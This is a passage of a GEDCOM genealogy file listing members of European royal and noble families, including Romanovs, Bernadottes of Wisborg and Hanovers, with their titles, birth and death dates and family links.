BIRT\n2 DATE        1553\n1 DEAT\n2 DATE        1601\n1 FAMS @F1230@\n0 @I2618@ INDI\n1 NAME Isabelle of_Aragon //\n1 SEX F\n1 BIRT\n2 DATE        1247\n1 DEAT\n2 DATE        1271\n1 FAMS @F1231@\n0 @I2619@ INDI\n1 NAME Marguerite of_Burgundy //\n1 SEX F\n1 BIRT\n2 DATE        1290\n1 DEAT\n2 DATE        1315\n1 FAMS @F1232@\n0 @I2620@ INDI\n1 NAME Joan of_Boulogne //\n1 SEX F\n1 BIRT\n2 DATE ABT    1326\n1 DEAT\n2 DATE        1361\n1 FAMS @F1233@\n0 @I2621@ INDI\n1 NAME Magdalen of_Hochstadten //\n1 TITL Baroness\n1 SEX F\n1 BIRT\n2 DATE        1846\n1 DEAT\n2 DATE        1917\n1 FAMS @F1234@\n0 @I2622@ INDI\n1 NAME William of_Prussia //\n1 TITL Prince\n1 SEX M\n1 FAMS @F1235@\n0 @I2623@ INDI\n1 NAME John  /Loisinger/\n1 SEX M\n1 FAMS @F1236@\n0 @I2624@ INDI\n1 NAME Francis_II Frederick of_Mecklenburg//\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1823\n1 DEAT\n2 DATE        1883\n1 FAMS @F1237@\n0 @I2625@ INDI\n1 NAME Josephine of_Lichtenberg //\n1 TITL Baroness\n1 SEX F\n1 BIRT\n2 DATE        1857\n1 DEAT\n2 DATE        1952\n1 FAMS @F1238@\n1 FAMC @F1239@\n0 @I2626@ INDI\n1 NAME Philip  /Bender/\n1 SEX M\n1 FAMS @F1239@\n0 @I2627@ INDI\n1 NAME Caroline of_Nidda //\n1 TITL Baroness\n1 SEX F\n1 BIRT\n2 DATE        1848\n1 DEAT\n2 DATE        1879\n1 FAMS @F1240@\n0 @I2628@ INDI\n1 NAME Emily of_Dornberg //\n1 TITL Baroness\n1 SEX F\n1 BIRT\n2 DATE        1868\n1 DEAT\n2 DATE        1961\n1 FAMS @F1241@\n0 @I2629@ INDI\n1 NAME Louis  //\n1 SEX M\n1 BIRT\n2 DATE        1931\n1 DEAT\n2 DATE        1937\n1 FAMC @F158@\n0 @I2630@ INDI\n1 NAME Alexander  //\n1 SEX M\n1 BIRT\n2 DATE        1933\n1 DEAT\n2 DATE        1937\n1 FAMC @F158@\n0 @I2631@ INDI\n1 NAME Joanna  //\n1 SEX F\n1 BIRT\n2 DATE        1936\n1 DEAT\n2 DATE        1939\n1 FAMC @F158@\n0 @I2632@ INDI\n1 NAME Auckland L. of_Rolvenden/Geddes/\n1 SEX M\n1 FAMS @F1242@\n0 @I2633@ INDI\n1 NAME Maria de_las_Mercedes //\n1 SEX F\n1 BIRT\n2 DATE        1860\n1 DEAT\n2 DATE        1878\n1 FAMS @F1243@\n0 @I2634@ INDI\n1 NAME Maria de_las_Mercedes //\n1 SEX F\n1 BIRT\n2 DATE        1880\n1 DEAT\n2 DATE        1904\n1 FAMS @F1244@\n1 FAMC @F254@\n0 @I2635@ INDI\n1 NAME Maria Theresa //\n1 SEX F\n1 BIRT\n2 DATE        1882\n1 DEAT\n2 DATE        1912\n1 FAMS @F1254@\n1 FAMC @F254@\n0 @I2636@ INDI\n1 NAME Charles of_Bourbon -Sicily//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1870\n1 DEAT\n2 DATE        1949\n1 FAMS @F1244@\n1 FAMS @F1245@\n0 @I2637@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE        1882\n1 DEAT\n2 DATE        1952\n1 FAMS @F1245@\n0 @I2638@ INDI\n1 NAME Louis de_la_Torre /Gomez-Acebo/\n1 TITL Viscount\n1 SEX M\n1 BIRT\n2 DATE        1934\n1 FAMS @F1246@\n0 @I2639@ INDI\n1 NAME Carlos Zurita_y_Delgado //\n1 SEX M\n1 BIRT\n2 DATE        1943\n1 FAMS @F1247@\n0 @I2640@ INDI\n1 NAME Edelmira  //\n1 SEX F\n1 BIRT\n2 DATE        1906\n1 FAMS @F1248@\n0 @I2641@ INDI\n1 NAME Martha y_Altazurra /Rocafort/\n1 SEX F\n1 FAMS @F1249@\n0 @I2642@ INDI\n1 NAME Maria Christina //\n1 SEX F\n1 BIRT\n2 DATE        1911\n1 FAMS @F1250@\n1 FAMC @F143@\n0 @I2643@ INDI\n1 NAME Gonzalo  //\n1 SEX M\n1 BIRT\n2 DATE        1914\n1 DEAT\n2 DATE        1934\n1 FAMC @F143@\n0 @I2644@ INDI\n1 NAME Henry C. /Marone/\n1 SEX M\n1 BIRT\n2 DATE        1895\n1 DEAT\n2 DATE        1968\n1 FAMS @F1250@\n0 @I2645@ INDI\n1 NAME Alexander of_Civitella- Cessi/Torlonia/\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1911\n1 FAMS @F1251@\n0 @I2646@ INDI\n1 NAME Emmanuela de_Dampierre //\n1 SEX F\n1 BIRT\n2 DATE        1913\n1 FAMS @F1252@\n0 @I2647@ INDI\n1 NAME Charlotte  /Tiedemann/\n1 SEX F\n1 BIRT\n2 DATE        1919\n1 FAMS @F1253@\n0 @I2648@ INDI\n1 NAME Ferdinand of_Bavaria //\n1 SEX M\n1 BIRT\n2 DATE        1884\n1 DEAT\n2 DATE        1958\n1 FAMS @F1254@\n1 FAMC @F1255@\n0 @I2649@ INDI\n1 NAME Louis Ferdinand of_Bavaria//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1859\n1 DEAT\n2 DATE        1949\n1 FAMS @F1255@\n0 @I2650@ INDI\n1 NAME Maria de_la_Paz //\n1 SEX F\n1 BIRT\n2 DATE        1862\n1 DEAT\n2 DATE        1946\n1 FAMS @F1255@\n0 @I2651@ INDI\n1 NAME Adolph of_Schwarzburg- Rudolstadt//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1801\n1 DEAT\n2 DATE        1875\n1 FAMS @F1256@\n0 @I2652@ INDI\n1 NAME Matilda  //\n1 SEX F\n1 BIRT\n2 DATE        1826\n1 DEAT\n2 DATE        1914\n1 FAMS @F1256@\n0 @I2653@ INDI\n1 NAME Frederica  //\n1 SEX F\n1 BIRT\n2 DATE        1770\n1 DEAT\n2 DATE        1819\n1 FAMS @F1257@\n1 FAMC @F239@\n0 @I2654@ INDI\n1 NAME Alexandrine  //\n1 SEX F\n1 BIRT\n2 DATE        1803\n1 DEAT\n2 DATE        1892\n1 FAMS @F183@\n1 FAMC @F145@\n0 @I2655@ INDI\n1 NAME Frederick  //\n1 SEX M\n1 BIRT\n2 DATE        1774\n1 DEAT\n2 DATE        1799\n1 FAMC @F239@\n0 @I2656@ INDI\n1 NAME Amalia  //\n1 SEX F\n1 BIRT\n2 DATE        1830\n1 DEAT\n2 DATE        1872\n1 FAMS @F1258@\n0 @I2657@ INDI\n1 NAME Mary  //\n1 SEX F\n1 BIRT\n2 DATE        1855\n1 DEAT\n2 DATE        1888\n1 FAMS @F1259@\n0 @I2658@ INDI\n1 NAME Lucas  /Streshniev/\n1 SEX M\n1 DEAT\n2 DATE        1650\n1 FAMS @F1260@\n0 @I2659@ INDI\n1 NAME Anne  /Volkonska/\n1 SEX F\n1 FAMS @F1260@\n1 FAMC @F1378@\n0 @I2660@ INDI\n1 NAME Theodore  //\n1 TITL Patr. of Moscow\n1 SEX M\n1 DEAT\n2 DATE        1633\n1 FAMS @F1261@\n0 @I2661@ INDI\n1 NAME Xenia  //\n1 SEX F\n1 DEAT\n2 DATE        1631\n1 FAMS @F1261@\n1 FAMC @F1376@\n0 @I2662@ INDI\n1 NAME Anne  /Leontiev/\n1 SEX F\n1 DEAT\n2 DATE        1706\n1 FAMS @F483@\n1 FAMC @F1262@\n0 @I2663@ INDI\n1 NAME Leonti  /Leontiev/\n1 SEX M\n1 FAMS @F1262@\n0 @I2664@ INDI\n1 NAME Praskovia  /Rayevska/\n1 SEX F\n1 DEAT\n2 DATE        1641\n1 FAMS @F1262@\n1 FAMC @F1377@\n0 @I2665@ INDI\n1 NAME Nicholas  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1831\n1 DEAT\n2 DATE        1891\n1 FAMS @F1263@\n1 FAMC @F10@\n0 @I2666@ INDI\n1 NAME Michael  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1832\n1 DEAT\n2 DATE        1909\n1 FAMS @F1264@\n1 FAMC @F10@\n0 @I2667@ INDI\n1 NAME Alexandra  //\n1 SEX F\n1 BIRT\n2 DATE        1838\n1 DEAT\n2 DATE        1900\n1 FAMS @F1263@\n0 @I2668@ INDI\n1 NAME Cecily (Olga) //\n1 SEX F\n1 BIRT\n2 DATE        1839\n1 DEAT\n2 DATE        1891\n1 FAMS @F1264@\n0 @I2669@ INDI\n1 NAME Nicholas  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1859\n1 DEAT\n2 DATE        1919\n1 FAMC @F1264@\n0 @I2670@ INDI\n1 NAME Michael  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1861\n1 DEAT\n2 DATE        1929\n1 FAMS @F1266@\n1 FAMC @F1264@\n0 @I2671@ INDI\n1 NAME Constantine  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1858\n1 DEAT\n2 DATE        1915\n1 FAMS @F1268@\n1 FAMC @F112@\n0 @I2672@ INDI\n1 NAME Sergius  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1869\n1 DEAT\n2 DATE        1918\n1 FAMC @F1264@\n0 @I2673@ INDI\n1 NAME Mary  //\n1 SEX F\n1 BIRT\n2 DATE        1876\n1 DEAT\n2 DATE        1940\n1 FAMS @F1265@\n1 FAMS @F1336@\n1 FAMC @F75@\n0 @I2674@ INDI\n1 NAME George  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1863\n1 DEAT\n2 DATE        1919\n1 FAMS @F1265@\n1 FAMC @F1264@\n0 @I2675@ INDI\n1 NAME Alexander Mikhailovich (Sandro)/Romanov/\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1866\n1 DEAT\n2 DATE        1933\n1 FAMS @F51@\n1 FAMC @F1264@\n0 @I2676@ INDI\n1 NAME Sophia of_Nassau //\n1 SEX F\n1 BIRT\n2 DATE        1868\n1 DEAT\n2 DATE        1927\n1 FAMS @F1266@\n0 @I2677@ INDI\n1 NAME Dimitri  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1860\n1 DEAT\n2 DATE        1919\n1 FAMC @F112@\n0 @I2678@ INDI\n1 NAME Nadezhda  /Dreyer/\n1 SEX F\n1 BIRT\n2 DATE        1861\n1 DEAT\n2 DATE        1929\n1 FAMS @F1267@\n0 @I2679@ INDI\n1 NAME Elizabeth  //\n1 SEX F\n1 BIRT\n2 DATE        1865\n1 DEAT\n2 DATE        1929\n1 FAMS @F1268@\n1 FAMC @F1269@\n0 @I2680@ INDI\n1 NAME Maurice of_Saxe- Altenburg//\n1 TITL Prince\n1 SEX M\n1 FAMS @F1269@\n0 @I2681@ INDI\n1 NAME Artemi  /Romanov/\n1 TITL Prince Iskander\n1 SEX M\n1 BIRT\n2 DATE        1881\n1 DEAT\n2 DATE        1919\n1 FAMC @F1267@\n0 @I2682@ INDI\n1 NAME Frederick Francis_II of_Mecklengb-Sch//\n1 TITL Grand Duke\n1 SEX M\n1 FAMS @F1270@\n0 @I2683@ INDI\n1 NAME George Bagration- Mukhranski//\n1 TITL Prince\n1 SEX M\n1 FAMS @F1271@\n0 @I2684@ INDI\n1 NAME Ivan  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1886\n1 DEAT\n2 DATE        1918\n1 FAMS @F1272@\n1 FAMC @F1268@\n0 @I2685@ INDI\n1 NAME Constantine  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1891\n1 DEAT\n2 DATE        1918\n1 FAMC @F1268@\n0 @I2686@ INDI\n1 NAME Igor  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1894\n1 DEAT\n2 DATE        1918\n1 FAMC @F1268@\n0 @I2687@ INDI\n1 NAME Helen  //\n1 SEX F\n1 BIRT\n2 DATE        1881\n1 DEAT\n2 DATE        1962\n1 FAMS @F1272@\n1 FAMC @F1273@\n0 @I2688@ INDI\n1 NAME Peter_I  //\n1 TITL King of Serbia\n1 SEX M\n1 FAMS @F1273@\n0 @I2689@ INDI\n1 NAME Frederick Eugene of_Wurttemberg//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1732\n1 DEAT\n2 DATE        1797\n1 FAMS @F1274@\n0 @I2690@ INDI\n1 NAME Dorothea of_Brandenburg -Schwedt//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE        1736\n1 DEAT\n2 DATE        1798\n1 FAMS @F1274@\n0 @I2691@ INDI\n1 NAME Christian Augustus //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1690\n1 DEAT\n2 DATE        1747\n1 FAMS @F1275@\n0 @I2692@ INDI\n1 NAME Joanna  //\n1 SEX F\n1 BIRT\n2 DATE        1712\n1 DEAT\n2 DATE        1760\n1 FAMS @F1275@\n0 @I2693@ INDI\n1 NAME Peter  /Oldenburg/\n1 SEX M\n1 BIRT\n2 DATE        1908\n1 DEAT\n2 DATE        1980\n1 FAMS @F1331@\n1 FAMC @F1276@\n0 @I2694@ INDI\n1 NAME John of_Brandenburg //\n1 TITL Margrave\n1 SEX M\n1 FAMS @F1277@\n0 @I2695@ INDI\n1 NAME Frederick Francis_III Mecklenburg-Schw//\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1851\n1 DEAT\n2 DATE        1897\n1 FAMS @F1278@\n0 @I2696@ INDI\n1 NAME Anastasia  //\n1 SEX F\n1 BIRT\n2 DATE        1860\n1 DEAT\n2 DATE        1922\n1 FAMS @F1278@\n0 @I2697@ INDI\n1 NAME Louise  //\n1 SEX F\n1 BIRT\n2 DATE        1875\n1 DEAT\n2 DATE        1906\n1 FAMS @F1279@\n1 FAMC @F218@\n0 @I2698@ INDI\n1 NAME Frederick of_Schaumburg -Lippe//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1868\n1 DEAT\n2 DATE        1945\n1 FAMS @F1279@\n0 @I2699@ INDI\n1 NAME Feodora  //\n1 SEX F\n1 BIRT\n2 DATE        1910\n1 DEAT\n2 DATE        1975\n1 FAMC @F652@\n0 @I2700@ INDI\n1 NAME Alexandrine Louise //\n1 SEX F\n1 BIRT\n2 DATE        1914\n1 DEAT\n2 DATE        1962\n1 FAMC @F652@\n0 @I2701@ INDI\n1 NAME Gorm  //\n1 SEX M\n1 BIRT\n2 DATE        1919\n1 FAMC @F652@\n0 @I2702@ INDI\n1 NAME Oluf of_Rosenborg //\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE        1923\n1 FAMS @F1280@\n1 FAMC @F652@\n0 @I2703@ INDI\n1 NAME Helen  /Dorrit/\n1 SEX F\n1 BIRT\n2 DATE        1926\n1 FAMS @F1280@\n0 @I2704@ INDI\n1 NAME Inge  /Terney/\n1 SEX F\n1 BIRT\n2 DATE        1938\n1 FAMS @F1281@\n0 @I2705@ INDI\n1 NAME Charles Augustus /Haraldsen/\n1 SEX M\n1 FAMS @F1282@\n0 @I2706@ INDI\n1 NAME Guelph  /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1947\n1 DEAT\n2 DATE        1981\n1 FAMS @F1283@\n1 FAMC @F391@\n0 @I2707@ INDI\n1 NAME George  /Hanover/\n1 SEX M\n1 BIRT\n2 DATE        1949\n1 FAMS @F1284@\n1 FAMC @F391@\n0 @I2708@ INDI\n1 NAME Fredericka  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1954\n1 FAMC @F391@\n0 @I2709@ INDI\n1 NAME Wilbeke  /von_Gunsteren/\n1 SEX F\n1 BIRT\n2 DATE        1948\n1 FAMS @F1283@\n0 @I2710@ INDI\n1 NAME Victoria  /Bee/\n1 SEX F\n1 BIRT\n2 DATE        1951\n1 FAMS @F1284@\n0 @I2711@ INDI\n1 NAME Caroline Louise /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1965\n1 FAMC @F389@\n0 @I2712@ INDI\n1 NAME Mireille  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1971\n1 FAMC @F389@\n0 @I2713@ INDI\n1 NAME John Kenneth /Ambler/\n1 SEX M\n1 BIRT\n2 DATE  6 JUN 1924\n1 FAMS @F1285@\n0 @I2714@ INDI\n1 NAME Sybilla Louise //\n1 SEX F\n1 BIRT\n2 DATE 14 APR 1965\n1 FAMC @F1285@\n0 @I2715@ INDI\n1 NAME Charles Edward //\n1 SEX M\n1 BIRT\n2 DATE 14 JUL 1966\n1 FAMC @F1285@\n0 @I2716@ INDI\n1 NAME James Patrick //\n1 SEX M\n1 BIRT\n2 DATE 10 JUN 1969\n1 FAMC @F1285@\n0 @I2717@ INDI\n1 NAME Johann Georg of_Hohenzollern//\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE 31 JUL 1932\n1 FAMS @F1286@\n0 @I2718@ INDI\n1 NAME Carl Christian //\n1 SEX M\n1 BIRT\n2 DATE  5 APR 1962\n1 FAMC @F1286@\n0 @I2719@ INDI\n1 NAME Desiree Margaretha Victoria//\n1 SEX F\n1 BIRT\n2 DATE 27 NOV 1963\n1 FAMC @F1286@\n0 @I2720@ INDI\n1 NAME Hubertus Gustaf Adolf//\n1 SEX M\n1 BIRT\n2 DATE 10 JUN 1966\n1 FAMC @F1286@\n0 @I2721@ INDI\n1 NAME Nicholas  /Silfverschiold/\n1 TITL Baron\n1 SEX M\n1 BIRT\n2 DATE 31 MAY 1934\n1 FAMS @F1287@\n0 @I2722@ INDI\n1 NAME Carl Otto Edmund//\n1 SEX M\n1 BIRT\n2 DATE 22 MAR 1965\n1 FAMC @F1287@\n0 @I2723@ INDI\n1 NAME Christina Louise //\n1 SEX F\n1 BIRT\n2 DATE 29 SEP 1966\n1 FAMC @F1287@\n0 @I2724@ INDI\n1 NAME Helene Ingeborg //\n1 SEX F\n1 BIRT\n2 DATE 20 SEP 1968\n1 FAMC @F1287@\n0 @I2725@ INDI\n1 NAME Tord Gosta /Magnuson/\n1 SEX M\n1 BIRT\n2 DATE  7 APR 1941\n1 FAMS @F1288@\n0 @I2726@ INDI\n1 NAME Carl Gustaf Victor//\n1 SEX M\n1 BIRT\n2 DATE  8 AUG 1975\n1 FAMC @F1288@\n0 @I2727@ INDI\n1 NAME Tord Oscar Fredrik//\n1 SEX M\n1 BIRT\n2 DATE 20 JUN 1977\n1 FAMC @F1288@\n0 @I2728@ INDI\n1 NAME Victor Edmund Lennart//\n1 SEX M\n1 BIRT\n2 DATE 10 SEP 1980\n1 FAMC @F1288@\n0 @I2729@ INDI\n1 NAME Madeleine Therese Amelie//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 10 JUN 1982\n1 FAMC @F220@\n0 @I2730@ INDI\n1 NAME Marianne of_Wisborg /Lindberg/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE 15 JUL 1924\n1 FAMS @F1289@\n0 @I2731@ INDI\n1 NAME Lilian May of_Sweden/Davies/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 30 AUG 1915\n1 FAMS @F1290@\n0 @I2732@ INDI\n1 NAME Erika  /Patzek/\n1 SEX F\n1 BIRT\n2 DATE        1911\n2 PLAC ,Germany\n1 FAMS @F1291@\n0 @I2733@ INDI\n1 NAME Sonia  /Robbert/\n1 SEX F\n1 BIRT\n2 DATE        1909\n1 FAMS @F1292@\n0 @I2734@ INDI\n1 NAME Elin Kerstin Margareta/Wijkmark/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE  4 MAR 1910\n1 DEAT\n2 DATE 11 SEP 1987\n1 FAMS @F1293@\n0 @I2735@ INDI\n1 NAME Gunnila Martha Louise/Wachtmeister/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE 12 MAY 1923\n1 FAMS @F1294@\n0 @I2736@ INDI\n1 NAME Karin Emma Louise/Nissvandt/\n1 SEX F\n1 BIRT\n2 DATE  7 JUL 1911\n2 PLAC Nora,Sweden\n1 FAMS @F1295@\n0 @I2737@ INDI\n1 NAME Sonja Anita Maria/Hauntz/\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE  7 MAY 1944\n1 FAMS @F1296@\n0 @I2738@ INDI\n1 NAME Carl Gustaf Oscar//\n1 TITL Prince of Sweden\n1 SEX M\n1 BIRT\n2 DATE 10 JAN 1911\n1 FAMS @F1327@\n1 FAMS @F1329@\n1 FAMS @F1297@\n1 FAMC @F215@\n0 @I2739@ INDI\n1 NAME Kristine  /Rivelsrud/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 22 APR 1932\n1 FAMS @F1297@\n0 @I2740@ INDI\n1 NAME Michael  //\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE        1944\n1 FAMS @F1298@\n1 FAMC @F1292@\n0 @I2741@ INDI\n1 NAME Christine  /Wellhoefer/\n1 SEX F\n1 BIRT\n2 DATE        1947\n1 FAMS @F1298@\n0 @I2742@ INDI\n1 NAME Monica  //\n1 SEX F\n1 BIRT\n2 DATE        1948\n1 FAMS @F1299@\n1 FAMC @F1293@\n0 @I2743@ INDI\n1 NAME Christian  //\n1 SEX M\n1 BIRT\n2 DATE        1949\n1 FAMC @F1293@\n0 @I2744@ INDI\n1 NAME Johan  /Bonde/\n1 TITL Count\n1 SEX M\n1 BIRT\n2 DATE        1950\n1 FAMS @F1299@\n0 @I2745@ INDI\n1 NAME Birgitta  //\n1 SEX F\n1 BIRT\n2 DATE        1933\n1 FAMS @F1300@\n1 FAMC @F1295@\n0 @I2746@ INDI\n1 NAME Marie Louise //\n1 SEX F\n1 BIRT\n2 DATE        1935\n1 FAMS @F1301@\n1 FAMC @F1295@\n0 @I2747@ INDI\n1 NAME Jan  //\n1 SEX M\n1 BIRT\n2 DATE        1941\n1 FAMS @F1302@\n1 FAMS @F1303@\n1 FAMS @F1304@\n1 FAMS @F1305@\n1 FAMC @F1295@\n0 @I2748@ INDI\n1 NAME Cecilia  //\n1 SEX F\n1 BIRT\n2 DATE        1944\n1 FAMS @F1306@\n1 FAMC @F1295@\n0 @I2749@ INDI\n1 NAME Friedrich  /Straehl/\n1 SEX M\n1 BIRT\n2 DATE        1922\n1 FAMS @F1300@\n0 @I2750@ INDI\n1 NAME Friedrich  /Straehl/\n1 SEX M\n1 BIRT\n2 DATE        1956\n1 FAMC @F1300@\n0 @I2751@ INDI\n1 NAME Andreas  /Straehl/\n1 SEX M\n1 BIRT\n2 DATE        1957\n1 FAMC @F1300@\n0 @I2752@ INDI\n1 NAME Christina  /Straehl/\n1 SEX F\n1 BIRT\n2 DATE        1960\n1 FAMC @F1300@\n0 @I2753@ INDI\n1 NAME Desiree  /Straehl/\n1 SEX F\n1 BIRT\n2 DATE        1961\n1 FAMC @F1300@\n0 @I2754@ INDI\n1 NAME Stephan  /Straehl/\n1 SEX M\n1 BIRT\n2 DATE        1964\n1 FAMC @F1300@\n0 @I2755@ INDI\n1 NAME Rudolf  /Kautz/\n1 SEX M\n1 BIRT\n2 DATE        1930\n1 FAMS @F1301@\n0 @I2756@ INDI\n1 NAME Heinrich  /Kautz/\n1 SEX M\n1 BIRT\n2 DATE        1957\n1 FAMC @F1301@\n0 @I2757@ INDI\n1 NAME Karin  /Kautz/\n1 SEX F\n1 BIRT\n2 DATE        1958\n1 FAMC @F1301@\n0 @I2758@ INDI\n1 NAME Madeleine  /Kautz/\n1 SEX F\n1 BIRT\n2 DATE        1961\n1 FAMC @F1301@\n0 @I2759@ INDI\n1 NAME Gunilla  /Stampe/\n1 SEX F\n1 BIRT\n2 DATE        1941\n1 FAMS @F1302@\n0 @I2760@ INDI\n1 NAME Anna  /Skarne/\n1 SEX F\n1 BIRT\n2 DATE        1944\n1 FAMS @F1303@\n0 @I2761@ INDI\n1 NAME Sophia  //\n1 SEX F\n1 BIRT\n2 DATE        1968\n1 FAMC @F1303@\n0 @I2762@ INDI\n1 NAME Annegret  /Thomssen/\n1 SEX F\n1 BIRT\n2 DATE        1938\n1 FAMS @F1304@\n0 @I2763@ INDI\n1 NAME Cecilia  //\n1 SEX F\n1 BIRT\n2 DATE        1971\n1 FAMC @F1304@\n0 @I2764@ INDI\n1 NAME Maritta  /Berg/\n1 SEX F\n1 BIRT\n2 DATE        1953\n1 FAMS @F1305@\n0 @I2765@ INDI\n1 NAME Son  //\n1 SEX M\n1 BIRT\n2 DATE        1977\n1 FAMC @F1305@\n0 @I2766@ INDI\n1 NAME Hans-Jorg  /Baenkler/\n1 SEX M\n1 BIRT\n2 DATE        1939\n1 FAMS @F1306@\n0 @I2767@ INDI\n1 NAME Bettina  //\n1 SEX F\n1 BIRT\n2 DATE        1974\n1 FAMC @F1296@\n0 @I2768@ INDI\n1 NAME Bjorn  //\n1 SEX M\n1 BIRT\n2 DATE        1975\n1 FAMC @F1296@\n0 @I2769@ INDI\n1 NAME Catherina  //\n1 SEX F\n1 BIRT\n2 DATE        1977\n1 FAMC @F1296@\n0 @I2770@ INDI\n1 NAME Oscar  //\n1 TITL Count of Wisborg\n1 SEX M\n1 BIRT\n2 DATE        1859\n1 DEAT\n2 DATE        1953\n1 FAMS @F1307@\n1 FAMC @F156@\n0 @I2771@ INDI\n1 NAME Eugene  //\n1 TITL Duke of Narke\n1 SEX M\n1 BIRT\n2 DATE        1865\n1 DEAT\n2 DATE        1947\n1 FAMC @F156@\n0 @I2772@ INDI\n1 NAME Ebba of_Fulkila /Munck/\n1 SEX F\n1 BIRT\n2 DATE        1858\n1 DEAT\n2 DATE        1946\n1 FAMS @F1307@\n1 FAMC @F1308@\n0 @I2773@ INDI\n1 NAME Maria Bernadotte //\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1889\n1 DEAT\n2 DATE        1974\n1 FAMC @F1307@\n0 @I2774@ INDI\n1 NAME Carl Bernadotte //\n1 TITL Count of Wisborg\n1 SEX M\n1 BIRT\n2 DATE        1890\n1 DEAT\n2 DATE        1977\n1 FAMS @F1309@\n1 FAMS @F1320@\n1 FAMC @F1307@\n0 @I2775@ INDI\n1 NAME Sophia Bernadotte of_Wisborg//\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1892\n1 DEAT\n2 DATE        1936\n1 FAMS @F1322@\n1 FAMC @F1307@\n0 @I2776@ INDI\n1 NAME Elsa Bernadotte of_Wisborg//\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1893\n1 FAMS @F1323@\n1 FAMC @F1307@\n0 @I2777@ INDI\n1 NAME Folke Bernadotte //\n1 TITL Count of Wisborg\n1 SEX M\n1 BIRT\n2 DATE        1895\n1 DEAT\n2 DATE        1948\n1 FAMS @F1324@\n1 FAMC @F1307@\n0 @I2778@ INDI\n1 NAME Charles of_Fulkila /Munck/\n1 SEX M\n1 FAMS @F1308@\n0 @I2779@ INDI\n1 NAME Marianne of_Leufsta /de_Geer/\n1 TITL Baroness\n1 SEX F\n1 BIRT\n2 DATE        1893\n1 FAMS @F1309@\n0 @I2780@ INDI\n1 NAME Dagmar  //\n1 SEX F\n1 BIRT\n2 DATE        1916\n1 FAMS @F1310@\n1 FAMC @F1309@\n0 @I2781@ INDI\n1 NAME Oscar  //\n1 SEX M\n1 BIRT\n2 DATE        1921\n1 FAMS @F1315@\n1 FAMS @F1317@\n1 FAMC @F1309@\n0 @I2782@ INDI\n1 NAME Catharina  //\n1 SEX F\n1 BIRT\n2 DATE        1926\n1 FAMS @F1319@\n1 FAMC @F1309@\n0 @I2783@ INDI\n1 NAME Nils Magnus /von_Arbin/\n1 SEX M\n1 BIRT\n2 DATE        1910\n1 FAMS @F1310@\n0 @I2784@ INDI\n1 NAME Marianne  /von_Arbin/\n1 SEX F\n1 BIRT\n2 DATE        1937\n1 FAMS @F1311@\n1 FAMC @F1310@\n0 @I2785@ INDI\n1 NAME Louise  /von_Arbin/\n1 SEX F\n1 BIRT\n2 DATE        1940\n1 FAMS @F1312@\n1 FAMC @F1310@\n0 @I2786@ INDI\n1 NAME Catherine  /von_Arbin/\n1 SEX F\n1 BIRT\n2 DATE        1946\n1 FAMS @F1313@\n1 FAMC @F1310@\n0 @I2787@ INDI\n1 NAME Jeanette  /von_Arbin/\n1 SEX F\n1 BIRT\n2 DATE        1951\n1 FAMS @F1314@\n1 FAMC @F1310@\n0 @I2788@ INDI\n1 NAME Madeleine  /von_Arbin/\n1 SEX F\n1 BIRT\n2 DATE        1955\n1 FAMC @F1310@\n0 @I2789@ INDI\n1 NAME Miles  /Flach/\n1 TITL Capt.\n1 SEX M\n1 BIRT\n2 DATE        1934\n1 FAMS @F1311@\n0 @I2790@ INDI\n1 NAME Camilla  /Flach/\n1 SEX F\n1 BIRT\n2 DATE        1960\n1 FAMC @F1311@\n0 @I2791@ INDI\n1 NAME Dick  /Bergstrom/\n1 SEX M\n1 BIRT\n2 DATE        1936\n1 FAMS @F1312@\n0 @I2792@ INDI\n1 NAME Therese  /Bergstrom/\n1 SEX F\n1 BIRT\n2 DATE        1963\n1 FAMC @F1312@\n0 @I2793@ INDI\n1 NAME Michael  /Bergstrom/\n1 SEX M\n1 BIRT\n2 DATE        1965\n1 FAMC @F1312@\n0 @I2794@ INDI\n1 NAME Johan  /Ryding/\n1 SEX M\n1 BIRT\n2 DATE        1943\n1 FAMS @F1313@\n0 @I2795@ INDI\n1 NAME Gustaf  /Ryding/\n1 SEX M\n1 BIRT\n2 DATE        1971\n1 FAMC @F1313@\n0 @I2796@ INDI\n1 NAME Charlotte  /Ryding/\n1 SEX F\n1 BIRT\n2 DATE        1974\n1 FAMC @F1313@\n0 @I2797@ INDI\n1 NAME Esben 